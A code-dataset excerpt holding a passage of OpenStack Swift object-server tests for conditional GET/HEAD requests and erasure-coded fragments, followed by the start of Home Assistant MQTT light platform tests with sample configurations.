'"11111111111111111111111111111111", ' '"%s"' % etag}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 304) self.assertEqual(resp.etag, etag) def test_HEAD_if_none_match(self): req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={ 'X-Timestamp': normalize_timestamp(time()), 'Content-Type': 'application/octet-stream', 'Content-Length': '4'}) req.body = 'test' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) etag = resp.etag req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) self.assertEqual(resp.etag, etag) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}, headers={'If-None-Match': '*'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 304) self.assertEqual(resp.etag, etag) req = Request.blank('/sda1/p/a/c/o2', environ={'REQUEST_METHOD': 'HEAD'}, headers={'If-None-Match': '*'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 404) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}, headers={'If-None-Match': '"%s"' % etag}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 304) self.assertEqual(resp.etag, etag) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}, headers={'If-None-Match': '"11111111111111111111111111111111"'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) self.assertEqual(resp.etag, etag) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}, headers={'If-None-Match': '"11111111111111111111111111111111", ' '"%s"' % etag}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 304) self.assertEqual(resp.etag, etag) def test_GET_if_modified_since(self): timestamp = normalize_timestamp(time()) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={ 'X-Timestamp': timestamp, 'Content-Type': 'application/octet-stream', 'Content-Length': '4'}) req.body = 'test' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) since = strftime('%a, %d %b %Y %H:%M:%S GMT', gmtime(float(timestamp) + 1)) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}, headers={'If-Modified-Since': since}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 304) since = \ strftime('%a, %d %b %Y %H:%M:%S GMT', gmtime(float(timestamp) - 1)) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}, headers={'If-Modified-Since': since}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) since = \ strftime('%a, %d %b %Y %H:%M:%S GMT', gmtime(float(timestamp) + 1)) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}, headers={'If-Modified-Since': since}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 304) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}) resp = req.get_response(self.object_controller) since = resp.headers['Last-Modified'] self.assertEqual(since, strftime('%a, %d %b %Y %H:%M:%S GMT', gmtime(math.ceil(float(timestamp))))) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}, headers={'If-Modified-Since': since}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 304) timestamp = normalize_timestamp(int(time())) req = Request.blank('/sda1/p/a/c/o2', environ={'REQUEST_METHOD': 'PUT'}, headers={ 'X-Timestamp': timestamp, 'Content-Type': 'application/octet-stream', 'Content-Length': '4'}) req.body = 'test' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) since = strftime('%a, %d %b %Y %H:%M:%S GMT', gmtime(float(timestamp))) req = Request.blank('/sda1/p/a/c/o2', environ={'REQUEST_METHOD': 'GET'}, headers={'If-Modified-Since': since}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 304) def test_HEAD_if_modified_since(self): timestamp = normalize_timestamp(time()) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={ 'X-Timestamp': timestamp, 'Content-Type': 'application/octet-stream', 'Content-Length': '4'}) req.body = 'test' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) since = strftime('%a, %d %b %Y %H:%M:%S GMT', gmtime(float(timestamp) + 1)) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}, headers={'If-Modified-Since': since}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 304) since = \ strftime('%a, %d %b %Y %H:%M:%S GMT', gmtime(float(timestamp) - 1)) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}, headers={'If-Modified-Since': since}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) since = \ strftime('%a, %d %b %Y %H:%M:%S GMT', gmtime(float(timestamp) + 1)) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}, headers={'If-Modified-Since': since}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 304) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}) resp = req.get_response(self.object_controller) since = resp.headers['Last-Modified'] self.assertEqual(since, strftime('%a, %d %b %Y %H:%M:%S GMT', gmtime(math.ceil(float(timestamp))))) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}, headers={'If-Modified-Since': since}) resp = self.object_controller.GET(req) self.assertEqual(resp.status_int, 304) timestamp = normalize_timestamp(int(time())) req = Request.blank('/sda1/p/a/c/o2', environ={'REQUEST_METHOD': 'PUT'}, headers={ 'X-Timestamp': timestamp, 'Content-Type': 'application/octet-stream', 'Content-Length': '4'}) req.body = 'test' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) since = strftime('%a, %d %b %Y %H:%M:%S GMT', gmtime(float(timestamp))) req = Request.blank('/sda1/p/a/c/o2', environ={'REQUEST_METHOD': 'HEAD'}, headers={'If-Modified-Since': since}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 304) def test_GET_if_unmodified_since(self): timestamp = normalize_timestamp(time()) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={ 'X-Timestamp': timestamp, 'X-Object-Meta-Burr': 'ito', 'Content-Type': 'application/cat-picture', 'Content-Length': '4'}) req.body = 'test' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) since = strftime('%a, %d %b %Y %H:%M:%S GMT', gmtime(float(timestamp) + 1)) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}, headers={'If-Unmodified-Since': since}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) since = \ strftime('%a, %d %b %Y %H:%M:%S GMT', gmtime(float(timestamp) - 9)) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}, headers={'If-Unmodified-Since': since}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 412) self.assertEqual(resp.headers['Content-Type'], 'application/cat-picture') self.assertEqual(resp.headers['X-Object-Meta-Burr'], 'ito') since = \ strftime('%a, %d %b %Y %H:%M:%S GMT', gmtime(float(timestamp) + 9)) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}, headers={'If-Unmodified-Since': since}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}) resp = req.get_response(self.object_controller) since = resp.headers['Last-Modified'] self.assertEqual(since, strftime('%a, %d %b %Y %H:%M:%S GMT', gmtime(math.ceil(float(timestamp))))) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}, headers={'If-Unmodified-Since': since}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) def test_HEAD_if_unmodified_since(self): timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp, 'Content-Type': 'application/octet-stream', 'Content-Length': '4'}) req.body = 'test' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) since = strftime('%a, %d %b %Y %H:%M:%S GMT', gmtime(math.ceil(float(timestamp)) + 1)) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}, headers={'If-Unmodified-Since': since}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) since = strftime('%a, %d %b %Y %H:%M:%S GMT', gmtime(math.ceil(float(timestamp)))) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}, headers={'If-Unmodified-Since': since}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) since = strftime('%a, %d %b %Y %H:%M:%S GMT', gmtime(math.ceil(float(timestamp)) - 1)) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}, headers={'If-Unmodified-Since': since}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 412) def _create_ondisk_fragments(self, policy): # Create some on disk files... ts_iter = make_timestamp_iter() # PUT at ts_0 ts_0 = next(ts_iter) headers = {'X-Timestamp': ts_0.internal, 'Content-Length': '5', 'Content-Type': 'application/octet-stream', 'X-Backend-Storage-Policy-Index': int(policy)} if policy.policy_type == EC_POLICY: headers['X-Object-Sysmeta-Ec-Frag-Index'] = '0' req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers=headers) req.body = 'OLDER' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) # POST at ts_1 ts_1 = next(ts_iter) headers = {'X-Timestamp': ts_1.internal, 'X-Backend-Storage-Policy-Index': int(policy)} headers['X-Object-Meta-Test'] = 'abc' req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers=headers) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 202) # PUT again at ts_2 but without a .durable file ts_2 = next(ts_iter) headers = {'X-Timestamp': ts_2.internal, 'Content-Length': '5', 'Content-Type': 'application/octet-stream', 'X-Backend-Storage-Policy-Index': int(policy)} if policy.policy_type == EC_POLICY: headers['X-Object-Sysmeta-Ec-Frag-Index'] = '2' req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers=headers) req.body = 'NEWER' # patch the commit method to do nothing so EC object gets # no .durable file with mock.patch('swift.obj.diskfile.ECDiskFileWriter.commit'): resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) return ts_0, ts_1, ts_2 def test_GET_HEAD_with_fragment_preferences(self): for policy in POLICIES: ts_0, ts_1, ts_2 = self._create_ondisk_fragments(policy) backend_frags = json.dumps({ts_0.internal: [0], ts_2.internal: [2]}) def _assert_frag_0_at_ts_0(resp): expect = { 'X-Timestamp': ts_1.normal, 'X-Backend-Timestamp': ts_1.internal, 'X-Backend-Data-Timestamp': ts_0.internal, 'X-Backend-Durable-Timestamp': ts_0.internal, 'X-Backend-Fragments': backend_frags, 'X-Object-Sysmeta-Ec-Frag-Index': '0', 'X-Object-Meta-Test': 'abc'} self.assertDictContainsSubset(expect, resp.headers) def _assert_repl_data_at_ts_2(): self.assertIn(resp.status_int, (200, 202)) expect = { 'X-Timestamp': ts_2.normal, 'X-Backend-Timestamp': ts_2.internal, 'X-Backend-Data-Timestamp': ts_2.internal, 'X-Backend-Durable-Timestamp': ts_2.internal} self.assertDictContainsSubset(expect, resp.headers) self.assertNotIn('X-Object-Meta-Test', resp.headers)
codeparrot/github-code-clean
"""The tests for the MQTT light platform. Configuration for RGB Version with brightness: light: platform: mqtt name: "Office Light RGB" state_topic: "office/rgb1/light/status" command_topic: "office/rgb1/light/switch" brightness_state_topic: "office/rgb1/brightness/status" brightness_command_topic: "office/rgb1/brightness/set" rgb_state_topic: "office/rgb1/rgb/status" rgb_command_topic: "office/rgb1/rgb/set" qos: 0 payload_on: "on" payload_off: "off" Configuration for XY Version with brightness: light: platform: mqtt name: "Office Light XY" state_topic: "office/xy1/light/status" command_topic: "office/xy1/light/switch" brightness_state_topic: "office/xy1/brightness/status" brightness_command_topic: "office/xy1/brightness/set" xy_state_topic: "office/xy1/xy/status" xy_command_topic: "office/xy1/xy/set" qos: 0 payload_on: "on" payload_off: "off" config without RGB: light: platform: mqtt name: "Office Light" state_topic: "office/rgb1/light/status" command_topic: "office/rgb1/light/switch" brightness_state_topic: "office/rgb1/brightness/status" brightness_command_topic: "office/rgb1/brightness/set" qos: 0 payload_on: "on" payload_off: "off" config without RGB and brightness: light: platform: mqtt name: "Office Light" state_topic: "office/rgb1/light/status" command_topic: "office/rgb1/light/switch" qos: 0 payload_on: "on" payload_off: "off" config for RGB Version with brightness and scale: light: platform: mqtt name: "Office Light RGB" state_topic: "office/rgb1/light/status" command_topic: "office/rgb1/light/switch" brightness_state_topic: "office/rgb1/brightness/status" brightness_command_topic: "office/rgb1/brightness/set" brightness_scale: 99 rgb_state_topic: "office/rgb1/rgb/status" rgb_command_topic: "office/rgb1/rgb/set" rgb_scale: 99 qos: 0 payload_on: "on" payload_off: "off" config with brightness and color temp light: platform: mqtt name: "Office Light Color Temp" state_topic: "office/rgb1/light/status" command_topic: "office/rgb1/light/switch" brightness_state_topic: "office/rgb1/brightness/status" brightness_command_topic: "office/rgb1/brightness/set" brightness_scale: 99 color_temp_state_topic: "office/rgb1/color_temp/status" color_temp_command_topic: "office/rgb1/color_temp/set" qos: 0 payload_on: "on" payload_off: "off" config with brightness and effect light: platform: mqtt name: "Office Light Color Temp" state_topic: "office/rgb1/light/status" command_topic: "office/rgb1/light/switch" brightness_state_topic: "office/rgb1/brightness/status" brightness_command_topic: "office/rgb1/brightness/set" brightness_scale: 99 effect_state_topic: "office/rgb1/effect/status" effect_command_topic: "office/rgb1/effect/set" effect_list: - rainbow - colorloop qos: 0 payload_on: "on" payload_off: "off" config for RGB Version with white value and scale: light: platform: mqtt name: "Office Light RGB" state_topic: "office/rgb1/light/status" command_topic: "office/rgb1/light/switch" white_value_state_topic: "office/rgb1/white_value/status" white_value_command_topic: "office/rgb1/white_value/set" white_value_scale: 99 rgb_state_topic: "office/rgb1/rgb/status" rgb_command_topic: "office/rgb1/rgb/set" rgb_scale: 99 qos: 0 payload_on: "on" payload_off: "off" config for RGB Version with RGB command template: light: platform: mqtt name: "Office Light RGB" state_topic: "office/rgb1/light/status" command_topic: "office/rgb1/light/switch" rgb_state_topic: "office/rgb1/rgb/status" rgb_command_topic: "office/rgb1/rgb/set" rgb_command_template: "{{ '#%02x%02x%02x' | format(red, green, blue)}}" qos: 0 payload_on: "on" payload_off: "off" Configuration for HS Version with brightness: light: platform: mqtt name: "Office Light HS" state_topic: "office/hs1/light/status" command_topic: "office/hs1/light/switch" brightness_state_topic: "office/hs1/brightness/status" brightness_command_topic: "office/hs1/brightness/set" hs_state_topic: "office/hs1/hs/status" hs_command_topic: "office/hs1/hs/set" qos: 0 payload_on: "on" payload_off: "off" """ import json from os import path from unittest.mock import call, patch import pytest from homeassistant import config as hass_config from homeassistant.components import light from homeassistant.const import ATTR_ASSUMED_STATE, SERVICE_RELOAD, STATE_OFF, STATE_ON import homeassistant.core as ha from homeassistant.setup import async_setup_component from .test_common import ( help_test_availability_when_connection_lost, help_test_availability_without_topic, help_test_custom_availability_payload, help_test_default_availability_payload, help_test_discovery_broken, help_test_discovery_removal, help_test_discovery_update, help_test_discovery_update_attr, help_test_discovery_update_unchanged, help_test_entity_debug_info_message, help_test_entity_device_info_remove, help_test_entity_device_info_update, help_test_entity_device_info_with_connection, help_test_entity_device_info_with_identifier, help_test_entity_id_update_discovery_update, help_test_entity_id_update_subscriptions, help_test_setting_attribute_via_mqtt_json_message, help_test_setting_attribute_with_template, help_test_unique_id, help_test_update_with_json_attrs_bad_JSON, help_test_update_with_json_attrs_not_dict, ) from tests.common import assert_setup_component, async_fire_mqtt_message from tests.components.light import common DEFAULT_CONFIG = { light.DOMAIN: {"platform": "mqtt", "name": "test", "command_topic": "test-topic"} } async def test_fail_setup_if_no_command_topic(hass, mqtt_mock): """Test if command fails with command topic.""" assert await async_setup_component( hass, light.DOMAIN, {light.DOMAIN: {"platform": "mqtt", "name": "test"}} ) await hass.async_block_till_done() assert hass.states.get("light.test") is None async def test_no_color_brightness_color_temp_hs_white_xy_if_no_topics(hass, mqtt_mock): """Test if there is no color and brightness if no topic.""" assert await async_setup_component( hass, light.DOMAIN, { light.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "test_light_rgb/status", "command_topic": "test_light_rgb/set", } }, ) await hass.async_block_till_done() state = hass.states.get("light.test") assert state.state == STATE_OFF assert state.attributes.get("rgb_color") is None assert state.attributes.get("brightness") is None assert state.attributes.get("color_temp") is None assert state.attributes.get("hs_color") is None assert state.attributes.get("white_value") is None assert state.attributes.get("xy_color") is None async_fire_mqtt_message(hass, "test_light_rgb/status", "ON") state = hass.states.get("light.test") assert state.state == STATE_ON assert state.attributes.get("rgb_color") is None assert state.attributes.get("brightness") is None assert state.attributes.get("color_temp") is None assert state.attributes.get("hs_color") is None assert state.attributes.get("white_value") is None assert state.attributes.get("xy_color") is None async def test_controlling_state_via_topic(hass, mqtt_mock): """Test the controlling of the state via topic.""" config = { light.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "test_light_rgb/status", "command_topic": "test_light_rgb/set", "brightness_state_topic": "test_light_rgb/brightness/status", "brightness_command_topic": "test_light_rgb/brightness/set", "rgb_state_topic": "test_light_rgb/rgb/status", "rgb_command_topic": "test_light_rgb/rgb/set", "color_temp_state_topic": "test_light_rgb/color_temp/status", "color_temp_command_topic": "test_light_rgb/color_temp/set", "effect_state_topic": "test_light_rgb/effect/status", "effect_command_topic": "test_light_rgb/effect/set", "hs_state_topic": "test_light_rgb/hs/status", "hs_command_topic": "test_light_rgb/hs/set", "white_value_state_topic": "test_light_rgb/white_value/status", "white_value_command_topic": "test_light_rgb/white_value/set", "xy_state_topic": "test_light_rgb/xy/status", "xy_command_topic": "test_light_rgb/xy/set", "qos": "0", "payload_on": 1, "payload_off": 0, } } assert await async_setup_component(hass, light.DOMAIN, config) await hass.async_block_till_done() state = hass.states.get("light.test") assert state.state == STATE_OFF assert state.attributes.get("rgb_color") is None assert state.attributes.get("brightness") is None assert state.attributes.get("color_temp") is None assert state.attributes.get("effect") is None assert state.attributes.get("hs_color") is None assert state.attributes.get("white_value") is None assert state.attributes.get("xy_color") is None assert not state.attributes.get(ATTR_ASSUMED_STATE) async_fire_mqtt_message(hass, "test_light_rgb/status", "1") state = hass.states.get("light.test") assert state.state == STATE_ON assert state.attributes.get("rgb_color") is None assert state.attributes.get("brightness") is None assert state.attributes.get("color_temp") is None assert state.attributes.get("effect") is None assert state.attributes.get("hs_color") is None assert state.attributes.get("white_value") is None assert state.attributes.get("xy_color") is None async_fire_mqtt_message(hass, "test_light_rgb/status", "0") state = hass.states.get("light.test") assert state.state == STATE_OFF async_fire_mqtt_message(hass, "test_light_rgb/status", "1") async_fire_mqtt_message(hass, "test_light_rgb/brightness/status", "100") light_state = hass.states.get("light.test") assert light_state.attributes["brightness"] == 100 async_fire_mqtt_message(hass, "test_light_rgb/color_temp/status", "300") light_state = hass.states.get("light.test") assert light_state.attributes.get("color_temp") is None async_fire_mqtt_message(hass, "test_light_rgb/white_value/status", "100") light_state = hass.states.get("light.test") assert light_state.attributes["white_value"] == 100 assert light_state.attributes["color_temp"] == 300 async_fire_mqtt_message(hass, "test_light_rgb/effect/status", "rainbow") light_state = hass.states.get("light.test") assert light_state.attributes["effect"] == "rainbow" async_fire_mqtt_message(hass, "test_light_rgb/status", "1") async_fire_mqtt_message(hass, "test_light_rgb/rgb/status", "125,125,125") light_state = hass.states.get("light.test") assert light_state.attributes.get("rgb_color") is None async_fire_mqtt_message(hass, "test_light_rgb/white_value/status", "0") light_state = hass.states.get("light.test") assert light_state.attributes.get("rgb_color") == (255, 255, 255) async_fire_mqtt_message(hass, "test_light_rgb/hs/status", "200,50") light_state = hass.states.get("light.test") assert light_state.attributes.get("hs_color") == (200, 50) async_fire_mqtt_message(hass, "test_light_rgb/xy/status", "0.675,0.322") light_state = hass.states.get("light.test") assert light_state.attributes.get("xy_color") == (0.672, 0.324) async def test_invalid_state_via_topic(hass, mqtt_mock, caplog): """Test handling of empty data via topic.""" config = { light.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "test_light_rgb/status", "command_topic": "test_light_rgb/set", "brightness_state_topic": "test_light_rgb/brightness/status", "brightness_command_topic": "test_light_rgb/brightness/set", "rgb_state_topic": "test_light_rgb/rgb/status", "rgb_command_topic": "test_light_rgb/rgb/set", "color_temp_state_topic": "test_light_rgb/color_temp/status", "color_temp_command_topic": "test_light_rgb/color_temp/set", "effect_state_topic": "test_light_rgb/effect/status", "effect_command_topic": "test_light_rgb/effect/set", "hs_state_topic": "test_light_rgb/hs/status", "hs_command_topic": "test_light_rgb/hs/set", "white_value_state_topic": "test_light_rgb/white_value/status", "white_value_command_topic": "test_light_rgb/white_value/set", "xy_state_topic": "test_light_rgb/xy/status", "xy_command_topic": "test_light_rgb/xy/set", "qos": "0", "payload_on": 1, "payload_off": 0, } } assert await async_setup_component(hass, light.DOMAIN, config) await hass.async_block_till_done() state = hass.states.get("light.test") assert state.state == STATE_OFF assert state.attributes.get("rgb_color") is None assert state.attributes.get("brightness") is None assert state.attributes.get("color_temp") is None assert state.attributes.get("effect") is None assert state.attributes.get("hs_color") is None assert state.attributes.get("white_value") is None assert state.attributes.get("xy_color") is None assert not state.attributes.get(ATTR_ASSUMED_STATE) async_fire_mqtt_message(hass, "test_light_rgb/status", "1") async_fire_mqtt_message(hass, "test_light_rgb/rgb/status", "255,255,255") async_fire_mqtt_message(hass, "test_light_rgb/brightness/status", "255") async_fire_mqtt_message(hass, "test_light_rgb/effect/status", "none") state = hass.states.get("light.test") assert state.state == STATE_ON assert state.attributes.get("rgb_color") == (255, 255, 255) assert state.attributes.get("brightness") == 255 assert state.attributes.get("color_temp") is None assert state.attributes.get("effect") == "none" assert state.attributes.get("hs_color") == (0, 0) assert state.attributes.get("white_value") is None assert state.attributes.get("xy_color") == (0.323, 0.329) async_fire_mqtt_message(hass, "test_light_rgb/status", "") assert "Ignoring empty state message" in caplog.text light_state = hass.states.get("light.test") assert state.state == STATE_ON async_fire_mqtt_message(hass, "test_light_rgb/brightness/status", "") assert "Ignoring empty brightness message" in caplog.text light_state = hass.states.get("light.test") assert light_state.attributes["brightness"] == 255 async_fire_mqtt_message(hass, "test_light_rgb/effect/status", "") assert "Ignoring empty effect message" in caplog.text light_state = hass.states.get("light.test") assert light_state.attributes["effect"] == "none" async_fire_mqtt_message(hass, "test_light_rgb/rgb/status", "") assert "Ignoring empty rgb message" in caplog.text light_state = hass.states.get("light.test") assert light_state.attributes.get("rgb_color") == (255, 255, 255) async_fire_mqtt_message(hass, "test_light_rgb/hs/status", "") assert "Ignoring empty hs message" in caplog.text light_state = hass.states.get("light.test") assert light_state.attributes.get("hs_color") == (0, 0) async_fire_mqtt_message(hass, "test_light_rgb/hs/status", "bad,bad") assert "Failed to parse hs state update" in caplog.text light_state = hass.states.get("light.test") assert light_state.attributes.get("hs_color") == (0, 0) async_fire_mqtt_message(hass, "test_light_rgb/xy/status", "") assert "Ignoring empty xy-color message" in caplog.text light_state = hass.states.get("light.test") assert light_state.attributes.get("xy_color") == (0.323, 0.329) async_fire_mqtt_message(hass, "test_light_rgb/color_temp/status", "153") async_fire_mqtt_message(hass, "test_light_rgb/white_value/status", "255") state = hass.states.get("light.test") assert state.state == STATE_ON assert state.attributes.get("rgb_color") is None assert state.attributes.get("brightness") == 255 assert state.attributes.get("color_temp") == 153 assert state.attributes.get("effect") == "none" assert state.attributes.get("hs_color") is None assert state.attributes.get("white_value") == 255 assert state.attributes.get("xy_color") is None async_fire_mqtt_message(hass, "test_light_rgb/color_temp/status", "") assert "Ignoring empty color temp message" in caplog.text light_state = hass.states.get("light.test") assert light_state.attributes["color_temp"] == 153 async_fire_mqtt_message(hass, "test_light_rgb/white_value/status", "") assert "Ignoring empty white value message" in caplog.text light_state = hass.states.get("light.test") assert light_state.attributes["white_value"] == 255 async def test_brightness_controlling_scale(hass, mqtt_mock): """Test the brightness controlling scale.""" with assert_setup_component(1, light.DOMAIN): assert await async_setup_component( hass, light.DOMAIN, { light.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "test_scale/status", "command_topic": "test_scale/set", "brightness_state_topic": "test_scale/brightness/status", "brightness_command_topic": "test_scale/brightness/set", "brightness_scale": "99", "qos": 0, "payload_on": "on", "payload_off": "off", } }, ) await hass.async_block_till_done() state = hass.states.get("light.test") assert state.state == STATE_OFF assert state.attributes.get("brightness") is None assert not state.attributes.get(ATTR_ASSUMED_STATE) async_fire_mqtt_message(hass, "test_scale/status", "on") state = hass.states.get("light.test") assert state.state == STATE_ON assert state.attributes.get("brightness") is None async_fire_mqtt_message(hass, "test_scale/status", "off") state = hass.states.get("light.test") assert state.state == STATE_OFF async_fire_mqtt_message(hass, "test_scale/status", "on") async_fire_mqtt_message(hass, "test_scale/brightness/status", "99") light_state = hass.states.get("light.test") assert light_state.attributes["brightness"] == 255 async def test_brightness_from_rgb_controlling_scale(hass, mqtt_mock): """Test the brightness controlling scale.""" with assert_setup_component(1, light.DOMAIN): assert await async_setup_component( hass, light.DOMAIN, { light.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "test_scale_rgb/status", "command_topic": "test_scale_rgb/set", "rgb_state_topic": "test_scale_rgb/rgb/status", "rgb_command_topic": "test_scale_rgb/rgb/set", "qos": 0, "payload_on": "on", "payload_off": "off", } }, ) await hass.async_block_till_done() state = hass.states.get("light.test") assert state.state == STATE_OFF assert state.attributes.get("brightness") is None assert not state.attributes.get(ATTR_ASSUMED_STATE) async_fire_mqtt_message(hass, "test_scale_rgb/status", "on") async_fire_mqtt_message(hass, "test_scale_rgb/rgb/status", "255,0,0") state = hass.states.get("light.test") assert state.attributes.get("brightness") == 255 async_fire_mqtt_message(hass, "test_scale_rgb/rgb/status", "127,0,0") state = hass.states.get("light.test") assert state.attributes.get("brightness") == 127 async def test_white_value_controlling_scale(hass, mqtt_mock): """Test the white_value controlling scale.""" with assert_setup_component(1, light.DOMAIN): assert await async_setup_component( hass, light.DOMAIN, { light.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "test_scale/status", "command_topic": "test_scale/set", "white_value_state_topic": "test_scale/white_value/status", "white_value_command_topic": "test_scale/white_value/set", "white_value_scale": "99", "qos": 0, "payload_on": "on", "payload_off": "off", } }, ) await hass.async_block_till_done() state = hass.states.get("light.test") assert state.state == STATE_OFF assert state.attributes.get("white_value") is None assert not state.attributes.get(ATTR_ASSUMED_STATE) async_fire_mqtt_message(hass, "test_scale/status", "on") state = hass.states.get("light.test") assert state.state == STATE_ON assert state.attributes.get("white_value") is None async_fire_mqtt_message(hass, "test_scale/status", "off") state = hass.states.get("light.test") assert state.state == STATE_OFF async_fire_mqtt_message(hass, "test_scale/status", "on") async_fire_mqtt_message(hass, "test_scale/white_value/status", "99") light_state = hass.states.get("light.test") assert light_state.attributes["white_value"] == 255 async def test_controlling_state_via_topic_with_templates(hass, mqtt_mock): """Test the setting of the state with a template.""" config = { light.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "test_light_rgb/status", "command_topic": "test_light_rgb/set", "brightness_command_topic": "test_light_rgb/brightness/set", "rgb_command_topic": "test_light_rgb/rgb/set", "color_temp_command_topic": "test_light_rgb/color_temp/set", "effect_command_topic": "test_light_rgb/effect/set", "hs_command_topic": "test_light_rgb/hs/set", "white_value_command_topic": "test_light_rgb/white_value/set", "xy_command_topic": "test_light_rgb/xy/set", "brightness_state_topic": "test_light_rgb/brightness/status", "color_temp_state_topic": "test_light_rgb/color_temp/status", "effect_state_topic": "test_light_rgb/effect/status", "hs_state_topic": "test_light_rgb/hs/status", "rgb_state_topic": "test_light_rgb/rgb/status", "white_value_state_topic": "test_light_rgb/white_value/status", "xy_state_topic": "test_light_rgb/xy/status", "state_value_template": "{{ value_json.hello }}", "brightness_value_template": "{{ value_json.hello }}", "color_temp_value_template": "{{ value_json.hello }}", "effect_value_template": "{{ value_json.hello }}", "hs_value_template": '{{ value_json.hello | join(",") }}', "rgb_value_template": '{{ value_json.hello | join(",") }}', "white_value_template": "{{ value_json.hello }}", "xy_value_template": '{{ value_json.hello | join(",") }}', } } assert await async_setup_component(hass, light.DOMAIN, config) await hass.async_block_till_done() state = hass.states.get("light.test") assert state.state == STATE_OFF assert state.attributes.get("brightness") is None assert state.attributes.get("rgb_color") is None async_fire_mqtt_message(hass, "test_light_rgb/rgb/status", '{"hello": [1, 2, 3]}') async_fire_mqtt_message(hass, "test_light_rgb/status", '{"hello": "ON"}') async_fire_mqtt_message(hass, "test_light_rgb/brightness/status", '{"hello": "50"}') async_fire_mqtt_message( hass, "test_light_rgb/color_temp/status", '{"hello": "300"}' ) async_fire_mqtt_message( hass, "test_light_rgb/effect/status", 